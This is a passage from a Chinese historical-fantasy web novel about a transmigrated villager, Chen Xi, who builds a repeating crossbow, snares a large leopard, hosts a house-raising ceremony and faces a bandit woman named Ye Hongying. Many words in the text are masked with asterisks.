姜太公钓鱼,愿者上钩!
陈息开始组装,零件都是自己设计的,组装起来更是轻车熟路。
掏出一把自制的钉子,开始链接**身。
俩老头从陈息掏出钉子那刻起,同时傻眼。
这小子要干什么?
难道要用那铁器固定?
陈息拿起锤子,邦邦就是两锤,一颗钉子齐根没入。
李二那张黑脸急速抖动。
哪有这么糟践东西的啊,用铁器固定木材倒是可以,但结实程度远远不及榫卯结构。
这完全就是胡来,白瞎了那么好的木材。
李二心疼木材,但为了那20两银子选择袖手旁观。
陈息敲打了一会,一把连**组装完成,校准一下**机,随后满意的点点头。
又往箭盒里塞入了20只**箭,**箭的箭头全是特制的。
不就是入木两寸么,小爷今天给你们插个深的。
“跟我来。”
陈息拿着连**就出门,身后跟着李大李二。
伍怡和宁宁也紧紧跟着,两个小姑娘实在是太好奇了,师爷做的**究竟有多大威力。
一行五人来到院外,距离一棵大枣树100步外站定。
陈息一扭头,冲着李二说道:
“这个位置行么?”
李二瞅了瞅远处的枣树,心里预算一下距离,这个位置别说百步了,110步都是有的。
“嗯。”
这次是两个老头同时应声。
陈息回过头来,眼中闪烁精芒。
没有给他们反应时间,抬手就射。
“嗖嗖嗖——”
一个三连发射出,**箭裹挟着破空声,如三道流光直直灌入枣树。
李大李二被陈息搞得猝不及防,不用瞄准就射了?
还是三支**箭?
什么**能够做到接连发射?
而且......而且还全部射中了,听这声音,好像还有余力?
俩老头长大了嘴巴,眼睛都直了,不可置信的望着眼前一切。
这种情况已经完全超乎了他们的认知。
两个老头一脑袋问号,他们有太多的不解和疑问。
两张老脸,红的更红,黑的更黑。
“哇...师爷好棒,师爷太厉害了。”
“大哥成功啦,我们成功啦。”
伍怡和宁宁兴奋的不成样子,跳着脚欢呼。
陈息自信一笑,冲着两个小姑娘开口:
“去把**箭**,看看入木几何?”
两个小姑娘蹦跳着跑去拔**箭,兴奋的脸蛋通红。
陈息瞥了眼还在愣神的两个老头,偷偷给自己竖起个大拇指。
拿捏!
第84章 榫卯结构
两个小姑娘跑到大枣树下,费了半天劲才将3支**箭取下,累的小脑袋上全是汗水。
虽累,但俩人还是异常兴奋,蹦蹦跳跳送回陈息手里。
“嘿嘿,师爷你看,都**去这么多。”
伍怡用手比画着,小手全部张开也没够到**箭没入的地方。
陈息无奈的看了她一眼,我要是插,可不止这么深。
接过来,将**箭递给李二:
“服了吗?”
李二一脸木讷的接过**箭还没看清,便被李大夺了去,拧着眉头看箭头。
拿在手里翻过来复过去的反复研究,这种怪异的箭头怎会如此大的威力。
枣树属于硬木,这么硬的木料都能射进去,而且看深度,足足有5寸。
再看了看百步外的枣树,李大心中震惊,意味着这种**箭在百步外就能射穿甲胄。
李大的手有些哆嗦,嘴唇也跟着颤抖。
李二也不低头了,一张黑脸对着**箭怔怔出神,李大看出的问题他也看出来了。
他制过**,对**的威力相当了解,万万没想到一把**箭还能强到这种程度。
今天他输得心服口服。
“服!”
陈息得意一笑,服了就好,不服的话还有宁乱呢。
“我想看看**。”
李二指了指陈息手中的**,作为手艺人,最受不了这种先进工艺的诱惑。
陈息毫不在乎的将**递给他,看去吧,这还只是初级阶段,等有时间了做几把复合**防身。
无论是射程还是威力,远比现有版本的强大。
李二将**像宝贝似的抱在怀里,眼珠子一眨不眨的来回观瞧,时而惊讶,时而惋惜。
配上那张黢黑的老脸,显得十分滑稽。
李二看了半晌,突然噔噔噔的跑回木工屋开始翻找起来。
陈息纳闷了,这老头怎么神神叨叨的,赶紧跟了上去。
等陈息几人赶回木工屋时,李二已经翻出来一套连**的配件,单腿往地上一坐,谁也不和谁说话,开始研究起来。
**臂**机一一在手里过了一遍,然后开始扼腕叹息。
拿起工具便开始修改起来。
陈息一愣,这老头啥意思,难道是输急眼了,要破坏我的**不成?
陈息想拦着他,突然被李大拉住。
“村长不可,老二这是帮你改进呢。”
陈息又是一愣,这老头看了这么会功夫便能帮我改进?
心想,他能改进个六饼啊,他知道这里面的玄机么?
但看在李二这么认真的状态下,决定给他一个机会,索性不打扰他,就这么静静的看着。
李二忙活了半天,将零部件修修改改,不多时便全部改完。
陈息看的一头雾水,就让你瞎折腾吧,你要折腾不出个所以然来,我让宁乱以德服人。
李二折腾完,拿着一柄小木锤开始组装。
陈息皱着眉看着,没有胶水,没有钉子,我看你怎么能组装上。
不过随着李二的操作,陈息一双眼睛越瞪越大。
不对劲,万分的不对劲。
这老头一滴胶水没用,一根钉子也没用,就......就组装上了?
李二组装完,将连**往陈息手里一递,掰开大嘴丫子咧嘴一笑:
“你试试去。”
陈息将连**拿在手里,越看越心惊,全部是榫卯结构,不光轻便了许多,还更结实耐用了。
装上箭匣拿起连**就走,又来到刚才的位置,对准枣树就是三连射。
“嘣嘣嘣!”
这次不光准头更稳,威力也增加了许多,**箭深度再次增加几寸。
**,这是人才啊。
陈息作为一个现代灵魂穿越,哪里见过这种榫卯结构,心中大呼**。
跑回屋来一指李二:
“把剩下的全改了。”
李二有些虚弱的坐在地上,一张黑脸显得很是为难。
陈息摸了摸鼻子,输给自己一年,你个老小子想偷懒是不?
恶人自有恶人磨,我找宁乱去。
见到陈息有些生气,李大一脸讪笑的走来,搓着手悻悻道:
“村长啊,那个......我们俩一天没吃饭了...
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...让我们缓会呗。”
陈息闻言,这才恍然大悟。
一拍额头,好家伙,自己比地主老财还地主老财,想起了一句老话。
又要马儿跑,又要马儿不吃草。
陈息有些不好意思,这俩老头忙活了半天,自己还没管饭。
“行,你们在这屋等着。”
“小怡宁宁,你们俩帮我做饭。”
“好的师爷。”
陈息带着两个姑娘给老头做饭,由于看到两人都有价值,陈息这回大方了。
炖肉。
必须炖肉。
割下来一大块鹿肉炖着,伍怡和宁宁蒸了一大锅米饭。
大家都饿了,正好一起吃点。
忙活完了,带着小怡和宁宁,端着饭菜回到木工屋。
将饭菜摆到桌子上,陈息还想客套两句,却被两个老头的动作打断。
俩老头将一大盆米饭平分了,大块鹿肉也给分了,最后肉汤倒进俩**碗里。
饭菜如风卷残云,没嚼几下便进肚,3分钟不到,5人量的饭菜全部拿下。
饭后两个老头一擦嘴,拍了拍肚子,满足一笑:
“村长,我去打铁了。”
“我做**。”
陈息看了看两个老头,一咬牙:
“我做饭!”
带着两个小姑娘就走,没走两步气呼呼的转身对着宁宁说:
“以后你哥吃饭,就让他跟着俩老头一起。”
宁宁委屈的憋着嘴:
“嗯嗯大哥。”
来到后院,找了一圈没发现宁乱,陈息纳闷,这小子跑哪去了。
牛二知道陈息在找宁乱,抬手指着远处一个窟窿。
“村长,宁乱在下面挖井呢,刚才都挖出水了。”
陈息单手拍着额头,不知是该哭还是该笑,都是我活爹啊。
缓了半天才出声:
“乱子,出来吧,找你有事。”
听见大哥喊自己,宁乱从窟窿里爬出来,掸了掸身上的土,咧嘴一笑:
“嘿嘿大哥,找我啥事。”
“走,随我收货去!”
深山里的领地该划出来了,猎套也该收了!
第85章 再见野豹
这次陈息叫了几个男工一起进山,上次马匹被狼吃的意外,绝对不能再发生。
时间紧急,由于饭菜都被俩老头吃光了,陈息和宁乱只能在路上简单吃些干粮肉干。
马车停在山下由男工看着,两人到达深山时已经下午。
现在还不能带着外人进山,一来是危险,二来那里的盐矿暂时还不能让人知道,现在就等陆达的50个壮劳力来了,才能大批进山。
二人一路前行,再次来到上次看见野豹的位置,陈息让宁乱在树下戒备,自己爬上树观察周围情况。
爬上了大树,立即向盐矿看去,随后皱了皱眉。
盐矿附近一只食草动物都没有,而且雪地上的足迹也不多。
一股不好的预感直冲脑门,按道理说,这里是那只野豹的地盘,他还之前还有大批的野草动物前来舔舐盐矿。
如今这里如此冷清的原因,只可能有一种。
这地方又来了新的猛兽,而且与那只野豹的领地重叠。
食草动物受到巨大危机,不得已放弃了这片盐矿另寻栖息地。
而且能与野豹领地重叠,并吓跑大批食草动物的猛兽,只有一个。
虎!
陈息深吸了两口气,一只野豹他还不放在眼里,那东西通常不会主动攻击人类,除非威胁到它的性命和幼崽。
而老虎则不一样了,那东西领地意识极强,无论是谁出现在它的领地,它都不会放过。
山中之君的威名,不允许丝毫挑衅。
“乱子,戒备。”
宁乱虽说经验不是很老道,但也经常进山寻猎,同样感受到一丝不寻常。
“好嘞大哥。”
手里握紧一柄猎刀,背着大哥送他的大弓也卸了下来,随时准备攻击。
陈息观察了一会,然后轻飘飘跳下大树,带着宁乱走走停停沿途收取猎套。
猎套下的隐蔽,不少食草动物都中了招,狍子、马鹿、还有两只獾子。
总体来说收获颇丰。
陈息现在眼界宽了,对这些东西已经不太看得上眼。
可宁乱却乐坏了,兴奋的眼珠子直冒火星子。
将猎物捆住,用绳子在后面拖拽着,一路上那张大嘴没闭上过,都要咧到耳朵根了。
沿途一路到山顶,下面便是盐矿,在此期间并没有发现其他猛兽的足迹。
难道是判断错了?
陈息眯了眯眼睛,今天这种情况太特殊了,绝对有问题。
“乱子,下面还有几个猎套,把东西先放在这,跟我来。”
“好嘞大哥。”
宁乱这点非常好,无论大哥说什么,他都应着。
前面是一片阳面阔叶林,林中凸起巨石无数,这种地方视野开阔适合隐藏行踪,正是猛兽栖息的理想场所。
陈息上次就在这里布下几个猎套,想碰碰运气,万一能把那只野豹猎到呢。
两人一前一后,拿着武器,弓着身子潜行,尽量不发出一点声音。
走了大约百步,陈息突然向后一摆手,宁乱立即定住脚步,躲在一个凸起的巨石后戒备。
陈息匍匐前进,小心翼翼爬到一棵树后,环视四周。
远处一道轻微的咔嚓声传来,陈息迅速锁定方位,挪动着身子找了个视线最佳的位置向那边看去。
宁乱学着陈息的样子,不动声响的爬到大哥身边,顺着方向一看,眼珠子瞬间瞪大。
视野内,一只体型很大的野豹,趴在地上正在啃食一只马鹿。
马鹿的脖子处,还缠着猎套,由于猎套太紧,野豹拖不动,只能在这里进食。
“你在这边等着,我去找个合适的位置。”
陈息轻声吩咐宁乱一句,背起**朝着远处爬去。
他要寻找一个最佳位置将野豹一击毙命。
那东西警惕性极强,若是射偏了,再想寻它可就难了。
猛虎说不准是路过此地吓跑了鹿群,但那只野豹可是原住民。
这块地方将来是自己的基地,不管你是何等猛兽,都不允许靠近。
今天就拿这位原住民开刀吧。
陈息爬出很远,宁乱越看那只豹子越激动,这个距离他感觉在他的射程之内,就算一箭射不死野豹,也能让它重伤。
凭着自己的体力,抓到它不是难事。
大哥还是太谨慎了。
宁乱禁不住诱惑,握着大弓跃跃欲试。
大哥的话,到底听不听?
他心里挣扎万分。
野豹丝毫没察觉有危险逼近,还在美美的啃食着马鹿,时不时抬头张望一下,伸出舌头舔了舔嘴边的鲜血,然后继续进食。
宁乱被野豹勾的心痒难耐,转头见大哥不知道爬到了哪里,狠狠咽了口唾沫。
他自信能做到一击即中,何必费那个劲呢。
一咬牙,不管了,反正我射中了野豹,大哥不会埋怨自己。
宁乱最终还是没有抵住野豹的诱惑,双脚用力撑住地面,随后半蹲在巨石后面,探出身来瞄准。
宁乱拿的是三石弓,拉力十分巨大。
如果慢慢的拉,弓身强负荷下必定会发出声音,他强提一口气,弓身瞬间被拉成满月。
但宁乱拉的快,野豹反应更快,它已经听到声音,视线瞬间锁定到宁乱
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的位置。
“嗖——”
宁乱羽箭射出,与此同时,陈息的一道羽箭,与宁乱那支几乎同时射出。
“嗖——”
两道羽箭袭来,野豹迅速窜到一丈开外,两道羽箭全部落靶射在石头上,火花四溅。
宁乱知道自己失手,急的连忙续上第二支、第三支......
野豹由于被惊动,哪里会被宁乱射到。
一连七八箭全部射空,感受到危险,野豹顾不得嘴边的食物,迅速逃离。
由于逃的慌乱,脑袋好巧不巧的钻到陈息下的猎套中。
野豹用力过猛,脑袋被套住,身子还在往前冲,被拽的一个趔趄。
猎套的细线被拽的嗡嗡作响。
野豹脑袋被套牢,双爪不停的蹬着细线,身子使劲的往出挣。
它不动还好,越动猎套越紧。
陈息由于宁乱的冒失一击不中,本打算放弃,但见野豹被套住,瞬间大喜。
顺着山体往下狂奔,时不时还在雪地滚两下增加速度。
宁乱同样看见野豹被套住,以不弱于陈息的速度往下冲刺。
野豹还在挣扎,但见两个人类朝自己奔来,瞬间**。
一股激劲上来,双只前爪抓住大树想要往上爬,但脖子被猎套勒着上不去,将树干抓的木屑横飞。
锋利的爪子在树干上留下深深的沟痕,嘴里发出呜呜的声音,随着陈息两人的不断靠近,声音逐渐变成低沉咆哮。
陈息和宁乱不出一会的功夫便跑到野豹近前,离远了还看不出大小,离得近了两人同时一惊。
这只野豹的体型不能用巨大来形容了,简直是异类。
寻常的成年野豹体重大约有100至150斤,可眼前这只,可能守着盐矿食物充足的原因,体重至少200斤开外。
此时野豹双爪死死抓着树干,前肢肌肉高高隆起,两只豹眼瞪的浑圆,威胁着两人不许靠近。
陈息和宁乱同时吸了一口凉气,如此近距离的接触这等猛兽,两人心脏砰砰直跳。
野豹金黄柔顺的皮**,配上大铜钱花纹印在上面,视觉冲击堪称完美。
陈息的眼里全是豹纹丝袜、抹胸、内裤......
宁乱的眼里全是红烧野豹、清蒸野豹、炭烤野豹......
野豹的咆哮还在继续,露出两颗尖锐的尖牙威胁二人。
宁乱抽出猎刀就要砍,被陈息一道大喝制住。
“别把老子内裤砍坏了。”
宁乱闻言愣住,目光往陈息下身看,大哥要豹皮做内裤?
那......那不刺痒么?
第86章 苏韵的天塌了
宁乱被陈息叫住,悻悻的退到后面,不敢言语。
刚才由于他的冒失,差点被野豹逃了,心里觉得对不起大哥。
陈息绕了一圈,见野豹的脖子已经被猎套勒出血痕,心中大呼可惜。
一张完整豹皮没了,还好别处没有损伤,不然自己得哭死。
想要不破坏皮**的情况下杀了野豹,此刻成了难题。
陈息拧着眉头沉思一会,突然有了主意。
“乱子,咱俩一人一边拉猎套,直接勒死它。”
猎套的线很细,陈息为了不伤手,砍来两根粗壮的树枝,用树枝缠住猎套。
他和宁乱一人一边,像拔河似的往后拉。
野豹脖子处血如涌泉,爪子深陷树干当中,咆哮逐渐减弱,半刻钟后毙命。
陈息,宁乱同时松了口气,累的一屁股坐在地上。
刚才拉猎套,两人都使足了力气,最终大功告成。
下面就是收获时刻。
陈息上前将猎套剪断,野豹脖子处的细线已经将气管勒断,时不时还有着鲜血渗出。
割断细线将野豹扛在肩上,望了眼太阳,时间已经不早了。
“回家!”
“好嘞大哥。”
两人完美完成任务,今天不光猎到了好几只马鹿和狍子,还有这只体型巨大的野豹。
下山的路上,宁乱拖着猎物走在后面,低着脑袋向大哥承认错误。
刚才他太莽撞了,险些功亏一篑。
“那个......大哥啊......我错了.....下次...”
陈息扛着野豹走在前面,知道他在自责,回头给了他一个微笑:
“乱子你不用自责,大哥又没有怪你。”
宁乱闻言,知道大哥是在安慰自己,反倒更觉得对不起大哥,苦着脸还想说点什么。
“大哥我......我......”
我了半天也没我出一句完整的话。
陈息哈哈一笑,随后向他吐露些心声。
“乱子啊,这点小事根本谈不上对错。”
“你若不冲动,我还不认你这个弟弟呢。”
“有些事,必须靠冲动来解决,有些事,冲动反而会坏事。”
“你能说得清对与错么?”
宁乱虽然不知道大哥说的什么,但就是觉得有道理,因为那是大哥说的。
陈息一边走,一边欣赏着山中雪景,一段话有感而发。
“乱世饥荒,百姓易子而食,朝廷不管不顾,反而标榜男儿不上战场是错的。”
“上了战场打不胜仗还是错的。”
“在百姓眼中,朝廷错了没有啊?”
陈息说着话,还往地上呸一了口。
“咱们有能力保护身边的人,就是对的,管他那些狗屁的对错之分。”
陈息这些话,更多的是说给自己听,自己凭本事吃饭,谁也别来招惹他,否则他可不管对错。
宁乱见大哥不但没埋怨自己,还给自己讲道理,在后面嘿嘿傻笑着。
他听不懂大哥的话,但他知道,无论何时大哥都是对的。
“大哥...那个能让我扛一会么?”
陈息有些疑惑,这都要下山了,我又不累,要你扛什么。
“你不累么,一会的功夫就到了,省点力气吧。”
“大哥你就让我扛一会呗。”
宁乱罕见的这么求自己,陈息真有点懵了,这家伙还主动找活干,既然想扛就让他扛着吧。
“行吧,累了换我。”
见大哥同意了,宁乱将野豹背在身上,拖着猎物美滋滋的下山。
不多时便来到停靠马车的地方,男工们看见宁乱背着一个什么东西下山,立即小跑上去帮忙。
来到近前才看清他背的是野兽,嗷一嗓子,男工们全吓得跑了。
过了好一会,才发现那野兽是死的,壮着胆子前来观看。
他们哪里见过这样的猛兽,长长的獠牙,尖尖的爪子。
有胆小的都吓尿了。
他们平时连山都不敢进,对野豹的了解,仅限于老人们的描述。
“这这这......这是山君吗?”
“这这.......这绝对是山君,我听我爷爷说过,山君就是长这样的。”
“这不是山君吧,我爷爷说山君头上有个王字。”
“你认识字吗?那不就是王字。”
一个男工指着野豹身上的铜钱印子瞎掰,显得可有文化了。
宁乱可不管他们说什么,反正东西在自己身上扛着,他们误以为是山君也不解释。
指挥男工把马鹿、狍子、獾子都装到马车上。
扭头冲着陈息一咧嘴:
“大哥,你赶车吧,我在前面走。”
陈息乐了,知道宁乱愿意显摆,那今天就让你显摆个够。
怕累坏了他,还关心一句。
“累了就放车上。”
宁乱哪里肯,这可是大好的显摆机会,扛着野豹走在最前面,那步伐比陈息嚣张多了,堪比十六亲不认。
男工们都羡
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慕宁乱,但他们知道自己那两下绝对猎不到猛兽,只能盯着马车上的马鹿眼馋。
村长实在是太厉害了,一下午功夫便猎到这么多猎物,咱们跟着村长做活计,一定有盼头。
时不时还上手摸一下猎物,哈喇子都要流出来了。
距离村口不远,樊妍三女雷打不动的站在那里等着夫君。
宁乱眼尖,离得老远便看见三位嫂嫂,扯着脖子大喊:
“嫂嫂们莫怕,这是我哥猎的豹子,你们别吓到。”
三女听见豹子都吓了一跳,但跟在夫君身边久了,胆量有些大了,远远躲开,欣喜的看着夫君的马车归来。
宁乱走的最快,绕过三位嫂嫂直奔村里。
边走边喊:
“大家都不要怕,这是我大哥猎的豹子,胆小的别出来看啊。”
村民们一听是豹子,都从家里出来,胆子大的敢出门,胆子小的在院门后面偷看。
宁乱也不背着了,将豹子抱在怀里,看见谁都上前显摆。
村民们通过接触,也都认识了宁乱,都惊讶的上前围观。
“这就是豹子啊,太漂亮了。”
宁乱:“200多斤。”
“哎呀,这是村长猎的呀,我都没见过这么好看的豹子。”
宁乱:“200多斤。”
“这东西是死的吧,不咬人的吧?”
宁乱:“200多斤。”
有妇人带着孩童躲在门口偷看,宁乱还故意凑到人家身前。
“200多斤。”
吓得妇人孩童哇哇大哭。
宁乱抱着野豹,从村头走到村尾,走了好几个来回,不管人家问什么,都回答200多斤。
陈息回家都卸完猎物了,这货显摆够了才回来。
白蓉蓉第一个上前,摸着豹子柔顺的皮**,爱不释手。
樊妍和秦瑶都在旁边欣喜看着,夫君的本事自然不用说,这么大只豹子都能猎到,带给她们莫大的安全感。
白蓉蓉的小心思全在夫君身上,她想用豹子给夫君做一身皮裘,夫君现在是村长,可不能穿的太寒酸。
她是奔着奖励去的,若是夫君奖励自己,二姐再怎么也拦不住。
做好了饭,一家人美美的吃上一顿。
与此同时,苏家盐铺。
苏韵总算忙完了一天,坐在椅子发愣。
仅仅半天时间,100斤精盐全部售空,还有些没买到的贵人催着她进货。
天塌了。
这次输的彻彻底底。
第87章 上梁
一连两日,苏韵足不出户,她实在是拗不过心里那道坎。
说好的100斤精盐三天卖不完,偏偏半日就卖完了。
不光赌注输了,还狠狠的打了她的脸。
让这位向来不服输的女强人郁闷大了,非要拖到第三日再来窝窝村给陈息送货钱。
一想到今天就要见到他那张嘚瑟的脸,苏韵委屈的都要哭了。
但输了已是事实,再怎么不愿面对,也要面对。
第三日清晨。
今天可是窝窝村的大喜日子。
村长家新房建成。
村里有习俗,每家盖了新房都要举行上梁仪式,寓意东家往后红红火火过日子的**。
不过这种上梁的喜日子,随着朝廷年年战争,窝窝村已经好多年未见了。
百姓们连吃饭都成了难题,更别提盖新房了。
一大早,陈息的小院便围满了村民,不光本村,就连附近村庄的百姓都来看热闹。
因为陈息的名声越来越大,传遍了附近十里八村,百姓们纷纷前来恭贺,期盼村长高兴能管一顿饭。
都听说窝窝村村长大方,招工人做活计给的工钱比县里还要高,他们更多的是想来这里碰碰运气,希望找份活计做。
陈息这里有了李大李二两位顶级匠人加入,效率直接拉满。
吉时已到,李大扶正主梁,大喊一声:
“一步高来一步低,手拿金鸡来报喜。”
每喊一句,下面的百姓都回应一声“好!”
“抛梁!”
李大话音刚落,宁乱便将早上蒸好的两大筐馒头,从房上猛劲的往下扔,引得下面无数百姓争抢。
附近村民连野菜都吃不上,窝窝村村长家抛梁抛馒头?
这和天下掉馅饼有什么区别?
抢到馒头的百姓们,一手往嘴里塞,一手往怀里揣。
二牛带着窝窝村的男工负责维持秩序,不然下面能打起来。
“不用抢,人人都有。”
陈息大喝一声,又让人搬来几大筐馒头,每个来看热闹的百姓都分到了两个大馒头。
百姓们纷纷跪地感恩戴德。
陈息家一场上梁仪式,搞得比县令娶亲还热闹,百姓们一直欢呼到晌午。
午饭之前,陈息当着众百姓面宣布一件事。
窝窝村举办义诊,十里八村的百姓都可以来免费诊病,由张神医主诊。
这个提议是张神医主动提出来的,他在这里住了好几天,只看了师父给苏韵一场诊病。
由于学到的东西有限,所以才提出这个建议,想给百姓义诊的同时,师父能在身边指点一二。
他的这个想法获得陈息了的首肯,并与他不谋而合。
通过几天的接触,他逐渐的了解了张神医,不为钱不为利,一心向医,这种纯粹的医德打动了陈息,决定教他点东西。
并且在陈息的规划中,张神医还有另外一个身份,那就是未来军队里的军医。
陈息之所以把阵仗搞得那么大,除了救济百姓之外,他还有另外一个想法。
房子盖好了,下面就是进驻深山基地,那里同样需要大量人员建设。
高炉冶铁,精盐提纯都要在那里进行,还要打造一支武装力量。
这一切规划都离不开人。
在大量招工的同时,他还有一件重要的事要办,就是应对土匪。
村口村尾都设置了暗哨,村民24小时不停观察,家里的暗堡也已经修建完成。
按照陈息的估算,自己这么的大的声势传出去,土匪肯定是坐不住的,大致就在这几天便会来找麻烦。
午时,外村的村民都已经离去,窝窝村来了两驾马车。
前面一驾是苏韵和佐千千来送卖精盐的钱,后面是老关带着小五给陈息送卖熊瞎子的钱。
两方不知是约好了,还是凑巧,一前一后进了窝窝村。
来到近前,苏韵和佐千千都傻眼了,才几天没见,新房都建好了?
而且还是如此高大的砖瓦房,比县里一切贵人们的宅子都要气派。
苏韵手里抱着装有200两银子的盒子,一脸惊奇的下车。
佐千千则和苏韵不同,看见陈息新建的宅子很是兴奋,主动上前恭贺。
“恭喜陈大哥华屋落成、室雅人和。”
佐千千笑眯眯的,还从荷包里掏出一块小银子塞给陈息:
“别嫌小喔,这是贺礼。”
苏韵抱着盒子很尴尬,自己没
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准备什么值钱的贺礼,只能学着佐千千样子,摸出一块银子递给陈息。
“祝陈神医乔迁福满。”
她今天出门没带多少银子,只能将怀里仅有的一块小银子当作贺礼给了陈息。
赌约她输的彻底,后得知陈息新房落成,自己没准备大礼,又失了礼数。
红着脸尴尬的站在一边,浑身上下透着不自然。
后面老关带着小五也来了,老关拿出5两银子恭贺,小五拿出5个铜钱。
陈息瞧瞧这几人都来了,哈哈一笑:
“不收礼不收礼,来了都是我的贵客,快快有请。”
但老关这种生意人,哪里肯,双方又拉扯几个来回,陈息才收下礼金。
老关爽快,从车里拿出一个大盒子交给陈息:
“熊掌熊肉一共卖了200两,熊皮被州府一位贵客花100两买走,在商言商,我收取两成利润,剩下都在这里,陈猎户您点一下。”
陈息毫不在乎的接过来,并没有清点,开口笑道:
“我信得过老关。”
随后将几人迎进院内,又将打来的野豹交给老关处理。
原因,陈息准备给三个娘子每人做个内裤,遭到娘子们强烈反对。
樊妍尤为抗拒,那东西想想都刺痒,更别说当内裤穿。
白蓉蓉想给夫君做件皮裘,陈息舍不得,既然三位娘子反对,还不如卖了换钱。
等以后自己发展出纺织业,穿不成豹纹,搞几套黑丝总没问题吧。
老关见到野豹都傻眼了,装上马车就跑,饭都不吃了。
佐千千由于没抢到豹皮,腮帮子气的鼓鼓的,好在陈息又卖给她一些鹿皮,脸色才缓和下来。
收了苏韵的货钱,又叮嘱她不要同外人说,下一批的精盐等自己消息。
陈息虽赢了赌注,但没给她定下规矩。
因为在此之前,他还要去趟县里,搞定那个新来的县尉,以及会一会王家。
苏家卖精盐的消息,再怎么封锁也瞒不过王家的。
正好敲打敲打他,摸摸王家的路数。
送走了所有人,窝窝村口,一位身穿红衣,骑着高头大马的女人来了。
正是消失了几天的叶红缨!
第88章 小爷给你玩个花活
上次张保全事件之后,叶红缨回到鹰嘴山就质问了大当家的冯元庆。
冯元庆在武力威胁下,不得不将实话全部说出来,他们的确收到了张保全的告密,到窝窝村也是为了抢陈息的100两银子。
至于陈息有没有勾结官府,他们一概不知。
叶红缨听完火大了,将冯元庆和苏媚娘那个**狠狠揍了一顿,二当家的吴亮虽受伤,也没能幸免。
再三强调冯元庆不许找陈息报仇后,决定离开这个地方,另寻个清净之地散心。
这次下山来路过窝窝村,是来通知陈息一声,她已经让鹰嘴山土匪罢手,从此互不相欠。
在路上,她就看见很多百姓拿着馒头从窝窝村离开,三三两两聊的都是感谢陈息的话。
这让她很好奇,这年头百姓连饭都吃不上,陈息竟给百姓发馒头,这份善举勾起了她极大的兴趣。
她决定亲自见见陈息。
叶红缨出现,立即被村口的暗哨发现,上次村民们都见过她,知道她是鹰嘴山三当家的。
立即有人跑到陈息那里传消息。
“村长,鹰嘴山那女人又来了,像是来找村长,我们要不要拦住她?”
陈息闻言立即精神起来,土匪大白天的进村了?
“来了多少人?”
“就...就她一个。”
陈息一愣,就她一个?皱着眉头想了想,随后吩咐道:
“不用拦着,继续放哨去。”
“是的村长。”
打发走了暗哨,陈息让所有人都回避,自己则带着宁乱,坐在院子当中等着。
**鹰嘴山三当家的来干什么,但知道她手上有些功夫,若是这娘们不分青红皂白找茬,绝不允许。
因为桌子上就放着连**。
七步之外,**快,七步之内,**又准又快。
有功夫又能怎地,照样射她脸上。
不多时,叶红缨骑着黑马来到小院门前。
骑在马上,先是看了眼新房,微微点了点头,又环视一圈四周,最后才把目光落在陈息身上。
陈息看见她那副德行就来气,趾高气扬的给谁看呢?
分不清谁是窝窝村扛把子是不是?
这副派头,不知道的还以为你是村长呢。
陈息没搭理她,倒了两杯茶和宁乱喝了起来,完全拿叶红缨当空气。
叶红缨见陈息没搭理她,微微皱了下眉头。
也不下马,骑着马就进了院子。
手里提着马鞭,指了指陈息,语气十分冷漠:
“鹰嘴山不会再来找你麻烦,把村口的哨子撤了吧。”
叶红缨一句话,陈息差点把茶水喷出来。
为了掩饰尴尬,用手挡住嘴咽下一口,自己辛苦布置的暗哨,被这娘们发觉了?
这么神奇的么?
陈息轻咳了一声,装作诧异道:
“此话当真?”
叶红缨将视线从陈息身上移开,饶有兴致的看着新房,从东看向西,慵懒的回了一声:
“嗯。”
陈息将茶杯放在桌上,掸了掸棉袄,翘起二郎腿,双手十指交叉托在后脑:
“你算个六饼啊,叫他们来就来,叫他们不来就不来。”
陈息那副嚣张的神态,以及怼**不偿命的话语,怼的叶红缨一愣一愣的。
她有些恼火,可好久没有人和自己这么说过话了。
平时鹰嘴山那些土匪们,恨不得把自己当祖宗供着,哪里敢说半个不字。
怎么到他这里,自己成六饼了?
她不知道六饼是啥意思,但听起来不像是好话。
叶红缨深吸了两口气,压住心头怒火,若不是上次冤枉了你,就凭你刚才这句话,姑奶奶非得揍你一顿不可。
“我说的就算。”
陈息轻哼一声,丝毫不给她面子:
“你个臭三当家的,拽的跟个二五八万似的,真拿自己当盘菜了?”
叶红缨这次可真要压不住火了,先说自己是六饼,这会又来个二五八万,这分明是存心找茬。
凤目一凝,利落的翻身下马,顺手从鞍桥中抽出红缨枪,枪尖一抖指向陈息。
她快,陈息和宁乱更快。
当她拿着枪指向陈息时,陈息和宁乱同时拿起连**指着她。
场面顿时失控。
叶红缨眯起凤目,打量一下两人手里拿的武器。
她出身将门世家,对大御的武器可以说是了如指掌。
但从没见过此等怪异的家伙,看样子像**,又不是很确定。
但她是何人,就算是强**也威胁不到她丝毫。
叶红缨嗤笑一声,语气依旧冷漠:
“现在向我道歉,可以考虑原谅你一次。”
宁乱早就看这娘们不顺眼,从进院子起就态度嚣张,现在还想让我大哥向你道歉?
道你奶奶个哨子!
眼珠子瞪的像个铜铃,拿起连**对准叶红缨:
“娘们,你现在跪下向我大哥道歉,否则可别怪我欺负一个弱女子了。”
宁乱见她是个女人,话说的很含蓄,若是男人,此刻早就动手了。
叶红缨要被宁乱气笑了,自己没听错吧,这个白毛小子说要欺负我?
“好,那我就要看看,你有没有那个本事了。”
“停。”
叶红缨说着话就要动手,突然被一道大喝止住。
陈息
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站起身来,对着叶红缨一抬下巴:
“看在上次有村民说你不欺负百姓的份上,小爷今天不与你计较。”
“回去告诉你们大当家的,他们来不来无所谓,不就是鹰嘴山么。”
“叫他洗干净脖子等着小爷。”
陈息本就没打算放过那些土匪,娘子和兄弟的伤不能白挨,这笔账是必须要算的。
就算你不来窝窝村,我也要到山上找你。
一句话,不死不休!
叶红缨听完笑了,笑的很率真。
仿佛是听到了世上好笑的笑话,缓了好一会才答话:
“就凭你?”
“还是你手中的破烂家伙?”
宁乱这回可彻底绷不住了,这娘们还敢叫嚣,那就别怪我欺负你了。
宁乱要动手,又被陈息拦住。
陈息摆摆手,露出一副人畜无害的笑容:
“话已经说完,回去告诉你们大当家的去吧。”
“慢走不送!”
叶红缨都要被这俩货气**,就这么走了岂能甘心。
她要找回场子。
收回红缨枪送回鞍桥,凤目一寒冷冷道:
“你们到鹰嘴山寻仇可以,打得过我,我不拦着。”
“打不过我,就老老实实在这呆着。”
她说这话不是为了拦着他俩复仇,就单纯的想揍他们一顿解解心头怒气。
在她眼里,这俩人就是山野村夫,看那架势根本没练过武,空有一身蛮力罢了。
“看在你是个女人的份上,我让你一只胳膊。”
宁乱撸胳膊挽袖子就要上,不就是打架么,自己最喜欢这个。
陈息哪里敢让他上,这娘们一看就会武,不然在匪寨能没人招惹?
